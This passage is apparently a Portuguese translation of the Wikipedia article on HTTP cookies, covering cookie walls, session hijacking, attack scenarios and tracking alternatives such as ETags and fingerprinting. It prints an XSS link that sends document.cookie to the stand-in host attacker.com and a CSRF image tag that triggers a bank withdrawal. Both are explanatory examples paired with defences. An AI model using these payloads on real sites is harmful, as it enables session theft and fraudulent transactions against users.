Uma especificação W3C chamada P3P foi proposta para os servidores comunicarem sua política de privacidade aos navegadores, permitindo o manuseio automático e configurável pelo usuário. No entanto, poucos sites implementam a especificação, nenhum navegador principal a suporta e o W3C interrompeu o trabalho com a especificação.

Os cookies de terceiros podem ser bloqueados pela maioria dos navegadores para aumentar a privacidade e reduzir o rastreamento por empresas de publicidade e rastreamento, sem afetar negativamente a experiência do usuário na web em todos os sites. Alguns sites operam 'paredes de cookies', que tornam o acesso a um site condicionado à permissão de cookies, seja tecnicamente em um navegador, pressionando 'aceitar', ou ambos. Em 2020, o Conselho Europeu de Proteção de Dados , composto por todos os reguladores de proteção de dados da UE, declarou que as paredes de cookies eram ilegais.

Para que o consentimento seja dado livremente, o acesso aos serviços e funcionalidades não deve estar condicionado ao consentimento de um usuário para o armazenamento de informações, ou obtenção de acesso às informações já armazenadas, no equipamento terminal de um usuário (denominado paredes de biscoitos).

Muitos operadores de publicidade têm uma opção de exclusão da publicidade comportamental, com um cookie genérico no navegador que impede a publicidade comportamental. No entanto, isso geralmente é ineficaz contra muitas formas de rastreamento, como o rastreamento primário, que está crescendo em popularidade para evitar o impacto do bloqueio de cookies de terceiros pelos navegadores. Além disso, se tal configuração for mais difícil de colocar do que a aceitação do rastreamento, ela continua a violar as condições da Diretiva de Privacidade Eletrônica.

Roubo de cookies e sequestro de sessão

A maioria dos sites usa cookies como os únicos identificadores para sessões de usuário, porque outros métodos de identificação de usuários da web têm limitações e vulnerabilidades. Se um site usa cookies como identificadores de sessão, os invasores podem representar as solicitações dos usuários, roubando um conjunto completo de cookies das vítimas. Do ponto de vista do servidor web, uma solicitação de um invasor tem a mesma autenticação que as solicitações da vítima; assim, a solicitação é realizada em nome da sessão da vítima.

Estão listados aqui vários cenários de roubo de cookies e sequestro de sessão do usuário (mesmo sem roubar cookies do usuário) que funcionam com sites que dependem exclusivamente de cookies HTTP para a identificação do usuário.

Escuta da rede

Um cookie pode ser roubado por outro computador que pode ler da rede

O tráfego em uma rede pode ser interceptado e lido por computadores na rede que não sejam o remetente e o receptor (principalmente em Wi-Fi aberto não criptografado ). Esse tráfego inclui cookies enviados em sessões HTTP não criptografadas comuns . Onde o tráfego de rede não é criptografado, os invasores podem, portanto, ler as comunicações de outros usuários na rede, incluindo cookies HTTP, bem como todo o conteúdo das conversas, para fins de um ataque man-in-the-middle .

Um invasor pode usar cookies interceptados para se passar por um usuário e realizar uma tarefa maliciosa, como transferir dinheiro da conta bancária da vítima.

Esse problema pode ser resolvido protegendo a comunicação entre o computador do usuário e o servidor, empregando o Transport Layer Security ( protocolo HTTPS ) para criptografar a conexão. Um servidor pode especificar o Securesinalizador ao definir um cookie, o que fará com que o navegador envie o cookie apenas por um canal criptografado, como uma conexão TLS.

Publicando subdomínio falso: envenenamento de cache DNS

Se um invasor for capaz de fazer com que um servidor DNS armazene em cache uma entrada DNS fabricada (chamada envenenamento de cache DNS ), isso pode permitir que o invasor obtenha acesso aos cookies de um usuário. Por exemplo, um invasor pode usar o envenenamento de cache DNS para criar uma entrada DNS fabricada f12345.www.example.comque aponta para o endereço IP do servidor do invasor. O invasor pode então postar um URL de imagem de seu próprio servidor (por exemplo, http://f12345.www.example.com/img_4_cookie.jpg). As vítimas que lerem a mensagem do invasor farão o download dessa imagem em f12345.www.example.com. Como f12345.www.example.comé um subdomínio de www.example.com, os navegadores das vítimas enviariam todos os example.comcookies relacionados ao servidor do invasor.

Se um invasor conseguir fazer isso, geralmente é culpa dos Provedores de Serviços de Internet não protegerem adequadamente seus servidores DNS. No entanto, a gravidade desse ataque pode ser reduzida se o site de destino usar cookies seguros. Nesse caso, o invasor teria o desafio extra de obter o certificado TLS do site de destino de uma autoridade de certificação , uma vez que os cookies seguros só podem ser transmitidos por uma conexão criptografada. Sem um certificado TLS correspondente, os navegadores das vítimas exibiriam uma mensagem de aviso sobre o certificado inválido do invasor, o que ajudaria a impedir que os usuários visitassem o site fraudulento do invasor e enviassem seus cookies ao invasor.

Cross-site scripting: roubo de cookies

Os cookies também podem ser roubados usando uma técnica chamada cross-site scripting. Isso ocorre quando um invasor tira proveito de um site que permite que seus usuários postem conteúdo HTML e JavaScript não filtrado . Ao postar código HTML e JavaScript malicioso, o invasor pode fazer com que o navegador da vítima envie os cookies da vítima para um site controlado pelo invasor.

Por exemplo, um invasor pode postar uma mensagem www.example.comcom o seguinte link:

<a href="#" onclick="window.location = 'http://attacker.com/stole.cgi?text=' + escape(document.cookie); return false;">Click here!</a>
Cross-site scripting: um cookie que só deve ser trocado entre um servidor e um cliente é enviado a outra parte.

Quando outro usuário clica neste link, o navegador executa a parte do código dentro do onclickatributo, substituindo a string document.cookiepela lista de cookies que podem ser acessados ​​na página atual. Como resultado, esta lista de cookies é enviada ao attacker.comservidor. Se a postagem mal-intencionada do invasor estiver em um site HTTPS https://www.example.com, os cookies seguros também serão enviados para o attacker.com em texto simples.

É responsabilidade dos desenvolvedores do site filtrar esse código malicioso.

Esses ataques podem ser atenuados usando cookies HttpOnly. Esses cookies não serão acessíveis por linguagens de script do lado do cliente como JavaScript e, portanto, o invasor não será capaz de coletar esses cookies.

Cross-site scripting: solicitação de proxy

Em versões mais antigas de muitos navegadores, havia falhas de segurança na implementação da API XMLHttpRequest . Esta API permite que as páginas especifiquem um servidor proxy que obteria a resposta, e este servidor proxy não está sujeito à política de mesma origem . Por exemplo, a vítima está lendo a postagem de um invasor www.example.come o script do invasor é executado no navegador da vítima. O script gera uma solicitação para www.example.como servidor proxy attacker.com. Como a solicitação é para www.example.com, todos os example.comcookies serão enviados junto com a solicitação, mas roteados por meio do servidor proxy do invasor. Conseqüentemente, o invasor poderá colher os cookies da vítima.

Este ataque não funcionaria com cookies seguros, uma vez que eles só podem ser transmitidos por conexões HTTPS , e o protocolo HTTPS dita a criptografia ponta a ponta (ou seja, as informações são criptografadas no navegador do usuário e descriptografadas no servidor de destino). Nesse caso, o servidor proxy veria apenas os bytes criptografados brutos da solicitação HTTP.

Falsificação de solicitação entre sites

Por exemplo, Bob pode estar navegando em um fórum de bate-papo onde outro usuário, Mallory, postou uma mensagem. Suponha que Mallory tenha criado um elemento de imagem HTML que faz referência a uma ação no site do banco de Bob (em vez de um arquivo de imagem), por exemplo,

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

Se o banco de Bob mantiver suas informações de autenticação em um cookie, e se o cookie não tiver expirado, a tentativa do navegador de Bob de carregar a imagem enviará o formulário de retirada com seu cookie, autorizando assim uma transação sem a aprovação de Bob.

Cookiejacking

Cookiejacking é um ataque contra o Internet Explorer que permite que o invasor roube cookies de sessão de um usuário, fazendo-o arrastar um objeto pela tela. A Microsoft considerou a falha de baixo risco devido ao "nível de interação do usuário necessária" e à necessidade de ter um usuário já conectado ao site cujo cookie foi roubado. Apesar disso, um pesquisador tentou o ataque a 150 de seus amigos do Facebook e obteve cookies de 80 deles por meio de engenharia social .

Desvantagens dos cookies

Além das preocupações com a privacidade, os cookies também apresentam algumas desvantagens técnicas. Em particular, eles nem sempre identificam os usuários com precisão, podem ser usados ​​para ataques à segurança e geralmente estão em desacordo com o estilo de arquitetura de software Representational State Transfer ( REST ).

Identificação imprecisa

Se mais de um navegador for usado em um computador, cada um geralmente tem uma área de armazenamento separada para cookies. Conseqüentemente, os cookies não identificam uma pessoa, mas uma combinação de uma conta de usuário, um computador e um navegador da web. Assim, qualquer pessoa que use várias contas, computadores ou navegadores possui vários conjuntos de cookies.

Da mesma forma, os cookies não diferenciam entre vários usuários que compartilham a mesma conta de usuário , computador e navegador.

Estado inconsistente no cliente e servidor

O uso de cookies pode gerar uma inconsistência entre o estado do cliente e o estado armazenado no cookie. Se o usuário adquirir um cookie e clicar no botão "Voltar" do navegador, o estado do navegador geralmente não é o mesmo de antes dessa aquisição. Por exemplo, se o carrinho de compras de uma loja online é construído com cookies, o conteúdo do carrinho não pode mudar quando o usuário volta ao histórico do navegador: se o usuário pressiona um botão para adicionar um item no carrinho de compras e em seguida, clica no botão "Voltar", o item permanece no carrinho de compras. Essa pode não ser a intenção do usuário, que possivelmente deseja desfazer a adição do item. Isso pode causar falta de confiabilidade, confusão e bugs. Os desenvolvedores da Web devem, portanto, estar cientes desse problema e implementar medidas para lidar com tais situações.

Alternativas para biscoitos

Algumas das operações que podem ser feitas por meio de cookies também podem ser feitas por outros mecanismos.

JSON Web Tokens

Um JSON Web Token (JWT) é um pacote independente de informações que pode ser usado para armazenar informações de identidade e autenticidade do usuário. Isso permite que eles sejam usados ​​no lugar dos cookies de sessão. Ao contrário dos cookies, que são anexados automaticamente a cada solicitação HTTP pelo navegador, os JWTs devem ser anexados explicitamente a cada solicitação HTTP pelo aplicativo da web.

Autenticação HTTP

O protocolo HTTP inclui a autenticação de acesso básica e os protocolos de autenticação de acesso digest , que permitem o acesso a uma página da web apenas quando o usuário fornece o nome de usuário e a senha corretos. Se o servidor requer tais credenciais para conceder acesso a uma página da web, o navegador as solicita ao usuário e, uma vez obtidas, o navegador as armazena e envia em todas as solicitações de página subsequentes. Essas informações podem ser usadas para rastrear o usuário.

endereço de IP

Alguns usuários podem ser rastreados com base no endereço IP do computador que está solicitando a página. O servidor conhece o endereço IP do computador que está executando o navegador (ou o proxy , se houver) e poderia, teoricamente, vincular a sessão de um usuário a esse endereço IP.

No entanto, os endereços IP geralmente não são uma maneira confiável de rastrear uma sessão ou identificar um usuário. Muitos computadores projetados para serem usados ​​por um único usuário, como PCs de escritório ou PCs domésticos, estão atrás de um tradutor de endereço de rede (NAT). Isso significa que vários PCs compartilharão um endereço IP público. Além disso, alguns sistemas, como o Tor , são projetados para manter o anonimato da Internet , tornando o rastreamento por endereço IP impraticável, impossível ou um risco à segurança.

URL (string de consulta)

Uma técnica mais precisa é baseada na incorporação de informações em URLs. A parte da string de consulta do URL é a parte normalmente usada para esse propósito, mas outras partes também podem ser usadas. Os mecanismos de sessão Java Servlet e PHP usam esse método se os cookies não estiverem ativados.

Este método consiste em o servidor da web anexar strings de consulta contendo um identificador de sessão exclusivo a todos os links dentro de uma página da web. Quando o usuário segue um link, o navegador envia a string de consulta ao servidor, permitindo que o servidor identifique o usuário e mantenha o estado.

Esses tipos de strings de consulta são muito semelhantes aos cookies, pois ambos contêm informações arbitrárias escolhidas pelo servidor e são enviadas de volta ao servidor a cada solicitação. No entanto, existem algumas diferenças. Como uma string de consulta faz parte de um URL, se esse URL for reutilizado posteriormente, a mesma informação anexada será enviada ao servidor, o que pode causar confusão. Por exemplo, se as preferências de um usuário estiverem codificadas na string de consulta de uma URL e o usuário enviar essa URL a outro usuário por e-mail , essas preferências também serão usadas para esse outro usuário.

Além disso, se o mesmo usuário acessar a mesma página várias vezes de fontes diferentes, não há garantia de que a mesma string de consulta será usada todas as vezes. Por exemplo, se um usuário visitar uma página vindo de uma página interna do site pela primeira vez e, em seguida, visitar a mesma página vindo de um mecanismo de pesquisa externo pela segunda vez, as strings de consulta provavelmente serão diferentes. Se cookies fossem usados ​​nesta situação, os cookies seriam os mesmos.

Outras desvantagens das strings de consulta estão relacionadas à segurança. O armazenamento de dados que identificam uma sessão em uma string de consulta permite ataques de fixação de sessão , ataques de registro de referência e outras explorações de segurança . Transferir identificadores de sessão como cookies HTTP é mais seguro.

Campos ocultos do formulário

Outra forma de rastreamento de sessão é usar formulários da web com campos ocultos. Essa técnica é muito semelhante ao uso de strings de consulta de URL para armazenar as informações e tem muitas das mesmas vantagens e desvantagens. Na verdade, se o formulário for tratado com o método HTTP GET, essa técnica será semelhante ao uso de strings de consulta de URL, pois o método GET adiciona os campos do formulário à URL como uma string de consulta. Mas a maioria dos formulários é tratada com HTTP POST, o que faz com que as informações do formulário, incluindo os campos ocultos, sejam enviadas no corpo da solicitação HTTP, que não faz parte da URL nem de um cookie.

Esta abordagem apresenta duas vantagens do ponto de vista do rastreador. Primeiro, ter as informações de rastreamento colocadas no corpo da solicitação HTTP em vez de no URL significa que não será notado pelo usuário médio. Em segundo lugar, as informações da sessão não são copiadas quando o usuário copia a URL (para marcar a página ou enviá-la por e-mail, por exemplo).

Propriedade DOM "window.name"

Todos os navegadores atuais podem armazenar uma grande quantidade de dados (2–32 MB) via JavaScript usando a propriedade DOMwindow.name . Esses dados podem ser usados ​​em vez de cookies de sessão e também são de domínio cruzado. A técnica pode ser acoplada a objetos JSON / JavaScript para armazenar conjuntos complexos de variáveis ​​de sessão no lado do cliente.

A desvantagem é que cada janela ou guia separada inicialmente terá uma window.namepropriedade vazia quando aberta. Além disso, a propriedade pode ser usada para rastrear visitantes em diferentes sites, o que a torna uma questão de privacidade na Internet .

Em alguns aspectos, isso pode ser mais seguro do que cookies devido ao fato de que seu conteúdo não é enviado automaticamente para o servidor em todas as solicitações como os cookies, portanto, não é vulnerável a ataques de detecção de cookies de rede. No entanto, se medidas especiais não forem tomadas para proteger os dados, eles ficam vulneráveis ​​a outros ataques porque os dados estão disponíveis em diferentes sites abertos na mesma janela ou guia.

Identificador para anunciantes

A Apple usa uma técnica de rastreamento chamada " Identificador para anunciantes " (IDFA). Essa técnica atribui um identificador exclusivo a cada usuário que compra um dispositivo Apple iOS (como um iPhone ou iPad). Esse identificador é então usado pela rede de publicidade da Apple, iAd , para determinar os anúncios que as pessoas estão vendo e respondendo.

ETag

Como as ETags são armazenadas em cache pelo navegador e retornadas com solicitações subsequentes para o mesmo recurso, um servidor de rastreamento pode simplesmente repetir qualquer ETag recebida do navegador para garantir que uma ETag atribuída persista indefinidamente (de maneira semelhante aos cookies persistentes). Campos de cabeçalho de cache adicionais também podem aprimorar a preservação de dados ETag.

ETags podem ser liberados em alguns navegadores limpando o cache do navegador .

armazenamento web

Alguns navegadores da web suportam mecanismos de persistência que permitem que a página armazene as informações localmente para uso posterior.

O padrão HTML5 (que a maioria dos navegadores modernos suporta até certo ponto) inclui uma API JavaScript chamada armazenamento da Web que permite dois tipos de armazenamento: armazenamento local e armazenamento de sessão. O armazenamento local se comporta de forma semelhante aos cookies persistentes, enquanto o armazenamento de sessão se comporta de forma semelhante aos cookies de sessão , exceto que o armazenamento de sessão está vinculado ao tempo de vida de uma guia / janela individual (também conhecido como sessão de página), não a uma sessão inteira do navegador como cookies de sessão.

O Internet Explorer oferece suporte a informações persistentes no histórico do navegador, nos favoritos do navegador, em um armazenamento XML ("dados do usuário") ou diretamente em uma página da web salva em disco.

Alguns plug-ins de navegador da web também incluem mecanismos de persistência. Por exemplo, o Adobe Flash possui objeto compartilhado local e o Microsoft Silverlight tem armazenamento isolado.

Cache do navegador

O cache do navegador também pode ser usado para armazenar informações que podem ser usadas para rastrear usuários individuais. Essa técnica aproveita o fato de que o navegador da Web usará recursos armazenados no cache em vez de baixá-los do site ao determinar que o cache já possui a versão mais atualizada do recurso.

Por exemplo, um site pode servir um arquivo JavaScript com código que define um identificador exclusivo para o usuário (por exemplo, var userId = 3243242;). Após a visita inicial do usuário, toda vez que o usuário acessar a página, este arquivo será carregado do cache ao invés de baixado do servidor. Assim, seu conteúdo nunca mudará.

Impressão digital do navegador

Uma impressão digital do navegador são informações coletadas sobre a configuração de um navegador, como número da versão, resolução da tela e sistema operacional, para fins de identificação. As impressões digitais podem ser usadas para identificar total ou parcialmente usuários ou dispositivos individuais, mesmo quando os cookies estão desativados.

As informações básicas de configuração do navegador da web são coletadas há muito tempo por serviços de análise da web em um esforço para medir com precisão o tráfego humano real na web e descartar várias formas de fraude de cliques . Com a ajuda de linguagens de script do lado do cliente , a coleta de parâmetros muito mais esotéricos é possível. A assimilação de tais informações em uma única string constitui uma impressão digital do dispositivo. Em 2010, a EFF mediu pelo menos 18,1 bits de entropia possíveis a partir da impressão digital do navegador. A impressão digital da tela , uma técnica mais recente, afirma adicionar outros 5,7 bits.

Veja também

Referências

Este artigo é baseado em material retirado do Dicionário On-line Gratuito de Computação anterior a 1 de novembro de 2008 e incorporado sob os termos de "relicenciamento" do GFDL , versão 1.3 ou posterior.

Fontes

  • Anônimo, 2011. Ataque de Cookiejacking rouba credenciais de acesso ao site. Informationweek - Online, pp. Informationweek - Online, 26 de maio de 2011.

links externos

Ouça este artigo ( 1 hora e 1 minuto )
Ícone falado da Wikipedia
Este arquivo de áudio foi criado a partir de uma revisão deste artigo datada de 28 de maio de 2016 e não reflete as edições subsequentes. ( 2016-05-28 )